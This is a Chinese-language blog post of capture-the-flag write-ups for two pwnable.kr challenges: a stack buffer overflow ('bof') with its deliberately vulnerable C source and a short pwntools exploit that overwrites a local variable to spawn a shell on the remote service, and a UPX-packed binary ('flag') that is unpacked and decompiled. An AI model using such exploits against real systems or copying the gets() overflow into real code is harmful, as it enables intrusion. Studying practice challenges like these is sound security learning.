本文最后更新于:星期三, 一月 2日 2019, 3:47 下午
感觉pwnable.tw有点点难,还是先做pwnable.kr好了,writeup都会写在这篇文章里
bof
这题给了二进制文件和源码
源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
一个简单的栈溢出,只要覆盖变量key为0xcafebabe 就会执行system函数
exp:
from pwn import *
p = remote('pwnable.kr',9000)
offset = 0x2c+8
payload = 'a'*offset +"\xbe\xba\xfe\xca"
p.sendline(payload)
p.interactive()
flag
这道题给了一个ELF文件,题目提示说这是一个打包过的礼物,可以猜测它加过壳。
用strings 打印下文件的可见字符串
$ strings flag
UPX!
@/x8
gX lw_
H/\_@
Kl$
H9\$(t
.....
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
可以看到程序加了upx壳,并且upx版本是3.08。先脱个壳 ,linux下用 upx -d 命令,然后拖到ida中反编译下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST08_8
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
可以看到程序逻辑很简单,它将flag复制到dest变量,所以可以在data段中找到flag
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!